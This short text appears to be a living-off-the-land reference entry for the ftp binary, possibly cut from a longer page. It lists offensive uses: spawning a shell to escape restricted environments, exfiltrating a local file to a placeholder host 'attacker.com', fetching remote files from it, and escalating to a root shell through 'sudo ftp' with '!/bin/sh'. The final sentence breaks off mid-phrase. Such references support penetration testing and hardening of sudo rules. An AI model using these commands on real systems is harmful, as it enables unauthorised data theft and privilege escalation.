It can be used to break out from restricted environments by spawning an interactive system shell.
It can exfiltrate files on the network.
Send local file to a FTP server.
RHOST=attacker.com ftp $RHOST put file_to_send
It can download remote files.
Fetch a remote file from a FTP server.
RHOST=attacker.com ftp $RHOST get file_to_get
It runs in privileged context and may be used to access the file system,
escalate or maintain access with elevated privileges if enabled on
sudo ftp !/bin/sh